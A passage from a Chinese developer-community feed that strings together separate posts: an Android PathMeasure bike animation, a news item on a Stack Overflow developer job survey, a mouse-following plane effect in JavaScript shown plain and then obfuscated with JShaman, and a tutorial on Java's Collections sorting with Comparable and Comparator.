mBitmapMatrix = new Matrix();

}

@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
int heightMode = MeasureSpec.getMode(heightMeasureSpec);
int height = 0;
if (heightMode == MeasureSpec.UNSPECIFIED) {
height = (int) dp2px(120);
} else if (heightMode == MeasureSpec.AT_MOST) {
height = Math.min(getMeasuredHeight(), getMeasuredWidth());
} else {
height = MeasureSpec.getSize(heightMeasureSpec);
}

setMeasuredDimension(getMeasuredWidth(), height);
}

@Override
protected void onDraw(Canvas canvas) {

int width = getWidth();
int height = getHeight();
if (width <= 1 || height <= 1) {
return;
}

if (mPath == null) {
mPath = new Path();
} else {
mPath.reset();
}
rectHolder.set(-100, -100, 100, 100);

mPath.moveTo(-getWidth() / 2F, 0);
mPath.lineTo(-(getWidth() / 2F + 200) / 2F, -400);
mPath.lineTo(-200, 0);
mPath.arcTo(rectHolder, 180, 180, false);
mPath.quadTo(300, -200, 400, 0);
mPath.lineTo(500, 0);

if (mPathMeasure == null) {
mPathMeasure = new PathMeasure();
mPathMeasure.setPath(mPath, false);
}

int saveCount = canvas.save();
// 移动坐标矩阵到View中间
canvas.translate(getWidth() / 2F, getHeight() / 2F);

// 获取 position(坐标) 和 tan(正切斜率),注意矢量方向与x轴的夹角
mPathMeasure.getPosTan(mPathMeasure.getLength() * fraction, position, tan);

// 计算角度(斜率),注意矢量方向与x轴的夹角
float degree = (float) Math.toDegrees(Math.atan2(tan[1], tan[0]));
int bmpWidth = mBikeBitmap.getWidth();
int bmpHeight = mBikeBitmap.getHeight();
// 重置为单位矩阵
mBitmapMatrix.reset();
// 旋转单位举证,中心点为图片中心
mBitmapMatrix.postRotate(degree, bmpWidth / 2, bmpHeight / 2);
// 将图片中心和移动位置对齐
mBitmapMatrix.postTranslate(position[0] - bmpWidth / 2,
position[1] - bmpHeight / 2);


// 画圆路径
canvas.drawPath(mPath, mDrawerPaint);
// 画自行车,使用矩阵旋转方向
canvas.drawBitmap(mBikeBitmap, mBitmapMatrix, mDrawerPaint);
canvas.restoreToCount(saveCount);
}

public void start() {

if (animator != null) {
animator.cancel();
}
ValueAnimator valueAnimator = ValueAnimator.ofFloat(0, 1f);
valueAnimator.setDuration(6000);
// 匀速增长
valueAnimator.setInterpolator(new LinearInterpolator());
valueAnimator.setRepeatCount(ValueAnimator.INFINITE);
valueAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
// 第一种做法:通过自己控制,是箭头在原来的位置继续运行
fraction = (float) animation.getAnimatedValue();
postInvalidate();
}
});
valueAnimator.start();
this.animator = valueAnimator;
}

public void stop() {
if (animator == null) return;
animator.cancel();
}

public float dp2px(float dp) {
return TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dp, getResources().getDisplayMetrics());
}

}

缺陷和问题处理:


从图上我们看到,车轮在路线的地下,这种视觉问题需要不断的修正和偏移才能得到解决,比如一段直线和圆面要分别计算偏移。


四、总结


PathMeasure 功能非常强大,可用于一般的在2D游戏中地图路线的计算,因此掌握好路径测量工具,可以方便我们做更多的东西。


作者:时光少年
来源:juejin.cn/post/7305235970286370827
收起阅读 »

全球接近八成的开发人员正在考虑新的岗位

Stack Overflow 进行的一项调查显示,79% 的开发人员要么正在积极寻找新的工作机会,要么对这个想法持开放态度。这些发现标志着与前几年相比有了显著的增长,表明开发人员探索新的职业道路和挑战的趋势越来越大。 这项调查得到了全球 1000 多名开发者的...
继续阅读 »


Stack Overflow 进行的一项调查显示,79% 的开发人员要么正在积极寻找新的工作机会,要么对这个想法持开放态度。这些发现标志着与前几年相比有了显著的增长,表明开发人员探索新的职业道路和挑战的趋势越来越大。


这项调查得到了全球 1000 多名开发者的回应,也揭示了行业内其他有趣的模式。


一个引人注目的发现是,新技术人才和职业后期开发人员之间出现了分歧。这两个群体都表现出更倾向于寻求新的职位,这可能是由多种因素驱动的,如入门级职位的稀缺和科技行业缺乏稳定性。


人才的迁移导致了行业的多样化,制造业/供应链和金融服务业出现了技术娴熟的开发者的涌入。


是什么导致考虑跳槽?


该调查还强调了好奇心是跳槽的重要动力,尤其是在职业发展后期。


尽管在所有年龄段的人中,更高的薪水仍然是首要任务,但对其他公司的好奇心成为了一个有力的驱动因素,这表明开发人员的心态正在向更具探索性的职业转变。


灵活性也成为影响开发人员决定继续担任当前角色的一个关键因素。


调查显示,开发者,尤其是44岁及以下的开发者,最看重灵活性。这一趋势与劳动力中观察到的更广泛的模式一致,即员工越来越多地寻求在职业挑战和个人生活之间取得平衡的角色。


人工智能的兴起也在塑造开发者的认知方面发挥了显著作用。70% 的受访者使用或计划使用人工智能工具。开发人员越来越依赖人工智能工具来提高生产力,这可能会导致他们在角色中对持续学习的重视程度下降。


随着科技行业经历这一变革阶段,公司可能需要重新评估其留住顶尖人才的策略。


在竞争日益激烈的就业市场中,提供有竞争力的薪酬同时保持灵活性将是留住人才的关键。


作者:ENG八戒
来源:juejin.cn/post/7305983336497004554
收起阅读 »

JS特效:跟随鼠标移动的小飞机

web
前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。 效果 源码 <!DOCTYPE html> <html> <head> <style> *{ margin: ...
继续阅读 »

前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。


效果



源码


<!DOCTYPE html>
<html>

<head>
<style>
*{
margin: 0;
padding: 0;
}
body{
height: 100vh;
background: linear-gradient(200deg,#005bea,#00c6fb);
}
#plane{
color: #fff;
font-size: 70px;
position: absolute;
display: flex;
justify-content: center;
align-items: center;
}
</style>
</head>

<body>
<div id="plane">
<i aria-hidden="true"></i>
</div>
<script>
var plane=document.getElementById('plane');
var deg=0,ex=0,ey=0,vx=0,vy=0,count=0;
window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}
setInterval(draw,1);
</script>
</body>

</html>

实现的原理是:当鼠标在网页中移动时,获取鼠标位置,同时设置飞机指向、并移动飞机位置,直至飞机到达鼠标位置。


重点代码是mousemove事件接管函数和移动飞机位置函数draw。


window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}

由代码中即可知道实现逻辑。如果想独自享用此功能,不想让他人知道原理、不想被他人修改,可以将核心JS代码进行混淆加密。


比如用JShaman对上述JS代码加密。



加密后的代码,会成为以下形式,使用起来还跟加密前一样。


window.addEventListener('mousemove',(e)=>{
(function(_0x5e2a74,_0x3d2559){var _0x5e2331=_0x5e2a74();function _0x4514c1(_0x56e61e,_0x24cc3c,_0xced7a6,_0x2eee50,_0x30fa4e){return _0xc941(_0xced7a6- -0x94,_0x2eee50);}function _0x447b09(_0x2bf694,_0x3c6d87,_0x2bfc91,_0x14456b,_0x28fe70){return _0xc941(_0x3c6d87- -0x3b,_0x28fe70);}function _0x12756f(_0x58c768,_0x1cd95f,_0x188173,_0x5baeba,_0x59fb94){return _0xc941(_0x1cd95f- -0x32b,_0x5baeba);}function _0x3c2cef(_0x3a3ce5,_0x274c07,_0x15ea13,_0x4aa242,_0x449d14){return _0xc941(_0x274c07- -0x1f6,_0x4aa242);}function _0x5516f2(_0x51af28,_0x27889e,_0x34f94f,_0x3756b4,_0x34e9e7){return _0xc941(_0x51af28-0x6e,_0x34e9e7);}while(!![]){try{var _0x1361cf=parseInt(_0x12756f(-0x31f,-0x322,-0x31b,-0x324,-0x319))/0x1*(-parseInt(_0x12756f(-0x330,-0x329,-0x333,-0x322,-0x326))/0x2)+-parseInt(_0x3c2cef(-0x1f0,-0x1f2,-0x1e9,-0x1f1,-0x1f2))/0x3*(-parseInt(_0x4514c1(-0x85,-0x83,-0x8c,-0x8a,-0x96))/0x4)+-parseInt(_0x5516f2(0x79,0x7f,0x72,0x71,0x73))/0x5*(-parseInt(_0x447b09(-0x44,-0x3b,-0x42,-0x38,-0x3b))/0x6)+parseInt(_0x4514c1(-0x88,-0x8a,-0x8d,-0x97,-0x88))/0x7*(-parseInt(_0x4514c1(-0x8b,-0x88,-0x91,-0x8f,-0x8c))/0x8)+parseInt(_0x447b09(-0x25,-0x28,-0x24,-0x30,-0x2e))/0x9*(-parseInt(_0x4514c1(-0x7c,-0x83,-0x85,-0x7d,-0x85))/0xa)+-parseInt(_0x5516f2(0x74,0x74,0x71,0x7b,0x79))/0xb+-parseInt(_0x4514c1(-0x8c,-0x95,-0x8f,-0x91,-0x91))/0xc*(-parseInt(_0x447b09(-0x2c,-0x2a,-0x29,-0x22,-0x23))/0xd);if(_0x1361cf===_0x3d2559){break;}else{_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x12462f){_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x2138,0x5eefa);function _0x2138(){var _0x3f76d0=["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074","\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068","JrgkzB035".split("").reverse().join(""),"Xegap".split("").reverse().join(""),"SyQffy23819".split("").reverse().join(""),"poTtesffo".split("").reverse().join(""),"ipqYMm50751".split("").reverse().join(""),"AqmLUY411".split("").reverse().join(""),"\u0070\u0061\u0067\u0065\u0059","xWOaei206".split("").reverse().join(""),"LeZbPZ428".split("").reverse().join(""),"GxweQb21".split("").reverse().join(""),"pskjDZ465".split("").reverse().join(""),"jljclz6152674".split("").reverse().join(""),'26985yqvBrA','301452FNGmnL',"\u0031\u0039\u0031\u006c\u0059\u004b\u004d\u0072\u006d",'offsetLeft',"fSfKNj525391".split("").reverse().join(""),"\u0061\u0074\u0061\u006e"];_0x2138=function(){return _0x3f76d0;};return _0x2138();}ex=e['pageX']-plane['offsetLeft']-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068"]/(0xe2994^0xe2996);ey=e["\u0070\u0061\u0067\u0065\u0059"]-plane["\u006f\u0066\u0066\u0073\u0065\u0074\u0054\u006f\u0070"]-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074"]/(0xc7c08^0xc7c0a);deg=(0xc5a81^0xc5be9)*Math["\u0061\u0074\u0061\u006e"](ey/ex)/((0x350f1^0x350f3)*Math['PI'])+(0x4ebc3^0x4ebc6);if(ex<(0x7f58a^0x7f58a)){deg+=0x3611b^0x361af;}function _0xc941(_0x20d997,_0x21385e){var _0xc941d=_0x2138();_0xc941=function(_0x1c87e9,_0x16a339){_0x1c87e9=_0x1c87e9-0x0;var _0x1c1df3=_0xc941d[_0x1c87e9];return _0x1c1df3;};return _0xc941(_0x20d997,_0x21385e);}count=0x84c22^0x84c22;
})
function draw(){
(function(_0x228270,_0x49c561){function _0x1a7320(_0x4d8e0a,_0x4a154f,_0x39e417,_0x3351c1,_0x309eea){return _0x38eb(_0x4a154f- -0x390,_0x39e417);}var _0x5708e4=_0x228270();function _0x9be745(_0x32a1,_0x343ed0,_0xb88373,_0x328e52,_0x923750){return _0x38eb(_0xb88373-0x37,_0x923750);}function _0x556527(_0x56c686,_0x3c0b6e,_0x2f3681,_0x32b652,_0x3a844e){return _0x38eb(_0x3a844e-0x356,_0x32b652);}function _0x1cff65(_0x4a8e90,_0x538331,_0x35ecc0,_0x27c079,_0x1ad156){return _0x38eb(_0x35ecc0-0x295,_0x27c079);}function _0x1ca2c5(_0x1ae530,_0x12dbfa,_0xff68f6,_0x370048,_0xcf6eb1){return _0x38eb(_0x1ae530-0x244,_0xcf6eb1);}while(!![]){try{var _0x4d0db3=parseInt(_0x1ca2c5(0x24c,0x247,0x252,0x248,0x252))/0x1*(parseInt(_0x556527(0x35f,0x350,0x35c,0x355,0x358))/0x2)+-parseInt(_0x556527(0x365,0x363,0x360,0x35d,0x35d))/0x3*(-parseInt(_0x556527(0x358,0x358,0x355,0x355,0x35a))/0x4)+-parseInt(_0x1cff65(0x293,0x29c,0x29a,0x293,0x294))/0x5+parseInt(_0x1ca2c5(0x24f,0x24b,0x255,0x248,0x254))/0x6+-parseInt(_0x1ca2c5(0x245,0x240,0x23f,0x248,0x24a))/0x7+-parseInt(_0x556527(0x367,0x362,0x367,0x360,0x360))/0x8+parseInt(_0x556527(0x35a,0x363,0x365,0x35a,0x362))/0x9;if(_0x4d0db3===_0x49c561){break;}else{_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x4057b8){_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x15e5,0x6b59f);function _0x4da06f(_0x10d466,_0x20ab24,_0x408802,_0x869b10,_0x64532e){return _0x38eb(_0x869b10-0x294,_0x20ab24);}plane["\u0073\u0074\u0079\u006c\u0065"]["\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d"]=_0x4da06f(0x297,0x29b,0x299,0x297,0x298)+deg+_0x4da06f(0x2a5,0x2a2,0x2a4,0x2a1,0x29d);function _0x38eb(_0xf88e34,_0x15e593){var _0x38eb7d=_0x15e5();_0x38eb=function(_0x1b2a3d,_0x46bf66){_0x1b2a3d=_0x1b2a3d-0x0;var _0x23a19a=_0x38eb7d[_0x1b2a3d];return _0x23a19a;};return _0x38eb(_0xf88e34,_0x15e593);}if(count<(0xcf802^0xcf866)){vx+=ex/(0xecfb8^0xecfdc);vy+=ey/(0x667f3^0x66797);}function _0x15e5(){var _0x1a56cf=["KMHgjO12".split("").reverse().join(""),"pot".split("").reverse().join(""),"\u0036\u0033\u0034\u0032\u0035\u0036\u0038\u004f\u006d\u0048\u0065\u0055\u0057","\u0034\u0030\u0031\u0038\u0031\u0032\u0032\u0044\u006a\u0057\u006e\u0058\u0043","VmFQAb2646603".split("").reverse().join(""),")ged".split("").reverse().join(""),"elyts".split("").reverse().join(""),"\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d","VgmPeO2141391".split("").reverse().join(""),"kvRLZy63064".split("").reverse().join(""),"(etator".split("").reverse().join(""),"\u0031\u0031\u0032\u0034\u0072\u0055\u0046\u0046\u007a\u007a","TRaCTh0401222".split("").reverse().join(""),"\u006c\u0065\u0066\u0074","oLkDOm9984".split("").reverse().join("")];_0x15e5=function(){return _0x1a56cf;};return _0x15e5();}plane['style']['left']=vx+"\u0070\u0078";plane["\u0073\u0074\u0079\u006c\u0065"]['top']=vy+"xp".split("").reverse().join("");function _0x27ce93(_0x4b6716,_0x4781f6,_0x57584e,_0x4dbb11,_0x295d49){return _0x38eb(_0x4b6716-0x233,_0x4781f6);}count++;
}

一个小小的JS特效,但效果挺不错。


感谢阅读。劳逸结合,写代码久了,休息休息。


作者:w2sfot
来源:juejin.cn/post/7302338286769520692
收起阅读 »

看完周杰伦《最伟大的作品》MV后,我解锁了想要的UI配色方案!

在UI设计的核心理念中,色彩的搭配与运用显得至关重要。事实上,一个合理且得当的色彩组合往往就是UI设计成功的关键。要构建一个有用的UI配色方案,我们既需要掌握色彩理论知识,更要学会在生活中洞察和提取灵感。以周杰伦最新推出的音乐作品《最伟大的作品》为例,其MV因...
继续阅读 »

在UI设计的核心理念中,色彩的搭配与运用显得至关重要。事实上,一个合理且得当的色彩组合往往就是UI设计成功的关键。要构建一个有用的UI配色方案,我们既需要掌握色彩理论知识,更要学会在生活中洞察和提取灵感。以周杰伦最新推出的音乐作品《最伟大的作品》为例,其MV因其独特的色彩构成和视觉效果一经发布便激起了网络热潮,成为了热门话题。这部MV以高度尊敬的方式向众多世界级艺术家们的杰作致敬,为设计师们提供了寻找新颖配色方案的无价参考。然而,在UI设计实践中,运用调色板精心匹配出合适的色彩方案绝非易事。


对于这个看起来既复杂又麻烦的UI界面配色问题,今天Pixso将为你分享一个聪明而实用的方法:就是利用那些已经得到广大公众认可并赞誉的色彩创作策略。


1. 复古UI配色,梦回巴黎


歌曲《最伟大的作品》背景在1920年代的巴黎,当时也是“巴黎画派”最为辉煌的年代。在此张MV截图中,整个色调与中国古典画的UI界面配色在达到了某种程度的默契。青、棕两个主色,使画面有着很浓的复古味道。将此复古色调运用到在我们的UI设计中,可以让我们省去很多的构思配色的问题。


复古色调


比如下图中的这个珠宝登陆页面,运用了棕色作为大背景颜色,大块的色彩在烘托气氛跟主题方面较为稳定,与珠宝的华贵气质相呼应,给画面一种华贵的美感,这样的UI配色会使UI界面非常的出彩,不显单调。如果你想深入学习网站UI配色,建议阅读《全套大厂网页UI配色指南,网站想不好看都难》


免费珠宝店登陆页


[免费珠宝店登陆页](https://pixso.cn/community/file/L6ufTu9mbHowkkVaOXhqmQ?from_share)


2. 冷暖 对比UI配色,优雅端庄


在设计UI界面时,应该做到整体色调协调统一,界面设计应该先确定主色调,主色将会占据页面中很大的面积,其他的辅助色都应该以主色为基准进行搭配。这可以保证整体色调的协调统一,重点突出,使作品更加专业、美观。 


冷暖色的区分是人类在大自然生活总结出来的颜色规律,通过联想将颜色与具体事物连接在一起,再由事物给人的感觉去区分冷暖。冷暖色是自然平衡的规律,可以在设计中大量使用,这样的UI配色方案会使UI界面非常的出彩,不显单调。


冷暖对比UI配色


而在下图的移动应用程序界面中,所使用的,正是将冷暖色完美的融合贯穿,但是在UI设计时,UI设计师需注意,不要采用过多色彩,会使得界面没有秩序性,给用户一种混乱感。如果你想深入学习移动APP配色方案,可以阅读Pixso资源社区的设计技巧专栏《UI设计师如何为一款app配色?值得收藏篇!》


矢量插图旅行APP


[矢量插图旅行APP](https://pixso.cn/community/file/hLz9LrhMmFFvGre1aVwtdQ?from_share)


3. 深棕 UI配色,灵动梦幻


色彩的对比与调和是色彩构成的基本原理,表现色彩的多样变化主要依靠色彩的对比,使变化和多样的色彩达到统一主要依靠色彩的调和。概括说来,色彩的对比是绝对的,调和是相对的,对比是目的,调和是手段。


深棕UI配色


深棕色调的UI界面会显得太过沉重,在中间加入浅色调调和一下,整个画面立刻上升了一个质感度,沉稳又不失俏皮的美感。


OTP 验证页


[OTP 验证页](https://pixso.cn/community/file/5qd8ACoD9nrDQSBD8BxjEw?from_share)


4. 深色 UI配色,沉稳低调


颜色会唤起不同的感觉或情绪,所以通过了解颜色的心理学,我们可以利用与目标受众产生共鸣的品牌颜色。低明度的颜色则会更多的强化稳重低调的感觉。 学习UI配技巧,可以阅读《超实用UI配色技巧,让你的UI设计财“色”双收》


深色UI配色


在深色的对比中,加入低饱和度的颜色,在提升画面亮度的同时,也能提升用户的视觉观感,即使是深色调也能产生一种小清新的美感。


比特币APP UI设计


[比特币APP UI设计](https://pixso.cn/community/file/i9zSK-ga4mhu2BhRUAysZg?from_share)


5. 暖色 调UI配色,热情复古


人们看到不同的颜色会产生不同的心理反应,例如看到红色会下意识地心跳加速、血液流速加快,进而从心理上感受到一种兴奋、刺激、热情的感觉,这就是色彩的作用和意象。暖色调使人狂热、欢乐和感性。


暖色调UI配色


恰到好处的暖色调对比会使画面更加协调和丰富,使UI的色彩不至于太过单一。而暖色调即代表温馨、热情的气氛,但搭配不当会使画面呈现出拖沓、不清爽的反面效果。


毛玻璃视觉设计


[毛玻璃视觉设计](https://pixso.cn/community/file/zYUJ5EIiY4Uh6w3DPINVrg?from_share)


6. 冷淡 色调 UI配色,浪漫温柔


冷淡色调UI配色


UI界面通常尺寸较“小”,不少功能难以在一个界面内实现,用户需要在多个界面中频繁跳转,而冷淡的色彩设计能减轻用户在频繁跳转界面时的焦躁。淡色彩的UI配色范围可以从比原始色相略浅,一直到几乎没有任何原始色相的灰白色。有色颜色在眼睛上看起来更柔和更容易,其中最浅的颜色称为粉彩。淡色彩通常会在设计中营造出年轻柔和的氛围。


紫色UI组件库


[紫色UI组件库](https://pixso.cn/community/file/2_-jN0hAMOHrF6REAen62A?from_share)


7. 专业UI配色工具Pixso,成就伟大配色方案


在设计时,设计师总会为了颜色的填充苦恼,Pixso新上线的多色矢量网格功能,路径色快可以快速填充各种颜色,让设计师以前以前绘制一个复杂的颜色魔方需要更多的路径线条,更多的色卡,还得考虑图层的对齐,间距是否一致统一的问题,在Pixso这些都不需要考虑了。如果你仍不知道如何提取颜色,或者觉得提取颜色麻烦,可以试试Pixso里的一键取色插件,只需要导入图片,在右上角的插件里找到一键取色,点击一键取色即可。


一键取色插件


其次,在Pixso右上角的插件按钮中,选择色板插件,里面都是大厂色板,让你站在大厂肩膀上做UI配色,想不好看都难。


色板插件


除此之外,Pixso还有协同设计、在线评论、一键交付等等强大功能,帮助设计师更快的完成设计工作,快打开Pixso试试吧~


作者:Yuki1
来源:juejin.cn/post/7304538199144415268
收起阅读 »

环信web、uniapp、微信小程序SDK报错详解---登录篇

项目场景: 记录对接环信sdk时遇到的一系列问题,总结一下避免大家再次踩坑。这里主要针对于web、uniapp、微信小程序在对接环信sdk时遇到的问题。主要针对报错400、404、401、40 (一) 登录用户报400 原因分析: 从console控制台输出及...
继续阅读 »

项目场景:


记录对接环信sdk时遇到的一系列问题,总结一下避免大家再次踩坑。这里主要针对于web、uniapp、微信小程序在对接环信sdk时遇到的问题。主要针对报错400、404、401、40


(一) 登录用户报400



原因分析:

从console控制台输出及network请求返回入手分析

可以看到报错描述invalid password,密码无效,这个时候就需要去排查一下该用户密码填写是否正确


排查思路:

因为环信不保存用户的密码,可以在console后台或者调用修改密码的restapi来修改一下密码再重新登录(修改密码目前只有这两种方式)




(二) 登录用户报404



原因分析:

从console控制台输出及network请求返回入手分析

可以看到报错描述user not found,这个时候就需要去排查一下该用户是否存在于该项目使用的appkey下了


排查思路:

可以看一下console后台拥有这个用户的appkey和自己项目初始化时用的是否是同一个,若在console后台并没有查到该用户,就要注意这个用户是否真的没有注册





(三) 登录用户报40、401




原因分析:

报错40或者401一般都是token的问题,需要排查一下token是否还在有效期,token是否是当前用户的用户token

40的报错还有一种情况,用户名密码登录需要排查用户名及密码传参是否都是string类型


注:此处需要注意用户token和apptoken两种概念

用户token指的是该用户的token,一般只用于该用户在客户端使用环信 token 登录和鉴权

app token指的是管理员权限 token,发送 HTTP 请求时需要携带 app token

token较为私密,一般不要暴露出去


排查思路:

排查用户名及密码传参是否都是string类型,这个可以直接将option传参打印出来取一下数据类型看看是否是string

关于token排查,现在没有合适的办法直接查询token是否还在有效期或者是不是当前用户的token,只能通过api调用看是否报错401,可以在console后台直接获取新的用户token来测试一下




是不是当前用户的token也可以找环信的技术支持帮忙查,但在不在有效期他们也查不了


话外

有人遇到为什么已经open成功了但是还会报错?


这里要注意open只能证明获取到了token,证明不了已经建立了websocket连接,只有触发onOpened或者onConnected回调 只有onOpened或者onConnected回调触发,才算真正与环信建立连接。所以也不能在open返回的success或者.then中做任何逻辑处理,此外还要注意监听回调一定要放在调用api之前,在调用任何一个api时都要保证监听挂载完毕,包括open


如何判断自己是否在登录状态?


可以用以下三种方法中的一种判断当前用户是否在登录状态~

1、WebIM.conn方法下有一个logOut字段,该字段为true时表明未登录状态,该字段为false时表明登录;

2、WebIM.conn.isOpened () 方法有三个状态,undefined为未登录状态,true为已登录状态,false为未登录状态,可以根据这三个状态去判断是否登录;

3、通过onOpened 这个回调来判断,只要执行了就说明登录成功了,输出的话,输出的是undefined


三者选其一判断登录状态


收起阅读 »

从入门到精通:集合工具类Collections全攻略!

前言在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合Collections 工具类介绍Collections 是...
继续阅读 »

前言
在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。
本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合

Collections 工具类

介绍

Collections 是一个操作Set,List,Map等的集合工具类
它提供了一系列静态的方法对集合元素进行排序、查询和修改等的操作,还提供了对集合对象设置不可变、对集合对象实现同步控制等方法。

常用功能

通过java的api文档,可以看到Collections了很多方法,我们在此就挑选几个常用的功能,为大家演示一下使用:

● public static void shuffle(List<?> list) 打乱顺序:打乱集合顺序。
● public static <T> void sort(List<T> list):根据元素的自然顺序 对指定列表按升序进行排序
● public static <T> void sort(List<T> list,Comparator<? super T> ): 根据指定比较器产生的顺序对指定列表进行排序。

直接撸代码:

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo1Collections {

public static void main(String[] args) {

//创建一个List 集合
List<Integer> numbers = new ArrayList<>();
//在这里咱们顺便使用下Collections的addAll()方法
Collections.addAll(numbers, 3,34,345,66,22,1);

System.out.println("原集合" + numbers);
//使用排序算法
Collections.sort(numbers);
System.out.println("排序之后"+numbers);

Collections.shuffle(numbers);
System.out.println("乱序之后" + numbers);

//创建一个字符串List 集合
List<String> stringDemo = new ArrayList<>();
stringDemo.add("nihao");
stringDemo.add("hello");
stringDemo.add("wolrd");
stringDemo.add("all");
System.out.println("原集合" + stringDemo);
//使用排序算法
Collections.sort(stringDemo);
System.out.println("排序之后"+stringDemo);

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//如果Person类中,这里报错了,为什么呢? 在这里埋个伏笔,且看下文
Collections.sort(people);

System.out.println("----" + people);

}
}

Comparable 和 Comparator

Comparable 接口实现 集合排序

我们上面代码最后一个例子,使用了我们自定义的类型,在使用排序时,给我们报错了?这是为什么呢?整型包装类和字符串类型,和我们的自定义类型有什么区别?
那我们通过API文档,看看这个方法,可以看到 根据元素的自然顺序 对指定列表按升序进行排序。列表中的所有元素都必须实现 Comparable 接口。此外,列表中的所有元素都必须是可相互比较的。 而Comparable 接口只有一个方法 int compareTo(T o)比较此对象与指定对象的顺序。

编程学习,从云端源想开始,课程视频、在线书籍、在线编程、一对一咨询……你想要的全部学习资源这里都有,重点是统统免费!点这里即可查看

说的白话一些,就是我们使用自定义类型,进行集合排序的时候,需要实现这个Comparable接口,并且重写 compareTo(T o)。

public class Person2 implements Comparable<Person2>{
private String name;
private int age;

public Person2(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person2{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public int compareTo(Person2 o) {
//重写方法如何写呢?
// return 0; //默认元素都是相同的
//自定义规则 我们通过person 的年龄进行比较 this 代表本身,而 o 代表传参的person对象
//这里的比较规则
// ==》 升序 自己 - 别人
// ==》 降序 别人 - 自己
// return this.getAge() - o.getAge(); //升
return o.getAge() - this.getAge(); //降

}
}


public class Demo2Comparable {

public static void main(String[] args) {
List<Person2> people2 = new ArrayList<>();
people2.add(new Person2("秋香", 15));
people2.add(new Person2("石榴姐", 19));
people2.add(new Person2("唐伯虎", 12));
System.out.println("--" + people2);

//这里报错了,为什么呢?
Collections.sort(people2);

System.out.println("----" + people2);
}
}


Comparator 实现排序

使用Comparable 接口实现排序,是一种比较死板的方式,我们每次都要让自定义类去实现这个接口,那如果我们的自定义类只是偶尔才会去做排序,这种实现方式,不就很麻烦吗!所以工具类还为我们提供了一种灵活的排序方式,当我需要做排序的时候,去选择调用该方法实现

public static <T> void sort(List<T> list, Comparator<? super T> c)

根据指定比较器产生的顺序对指定列表进行排序。我们通过案例来看看该方法的使用

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo3Comparator {
public static void main(String[] args) {

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//第二个参数 采用匿名内部类的方式传参 - 可以复习之前有关内部类的使用
Collections.sort(people, new Comparator<Person>() {
@Override
public int compare(Person o1, Person o2) {
//这里怎么用呢 自定义按年龄排序
// return 0;
// return o1.getAge() - o2.getAge(); //升序
return o2.getAge() - o1.getAge(); //降序

//结论: 前者 -后者 升序 反之,降序
//这种方式 我们优先使用
}
});
System.out.println("排序后----" + people);
}
}

Comparable 和 Comparator

Comparable: 强行对实现它的每个类的对象进行整体排序。这种排序被称为类的自然排序,类的compareTo方法被称为它的自然比较方法。只能在类中实现compareTo()一次,不能经常修改类的代码实现自己想要的排序。实现此接口的对象列表(和数组)可以通过Collections.sort(和Arrays.sort)进行自动排序,对象可以用作有序映射中的键或有序集合中的元素,无需指定比较器。

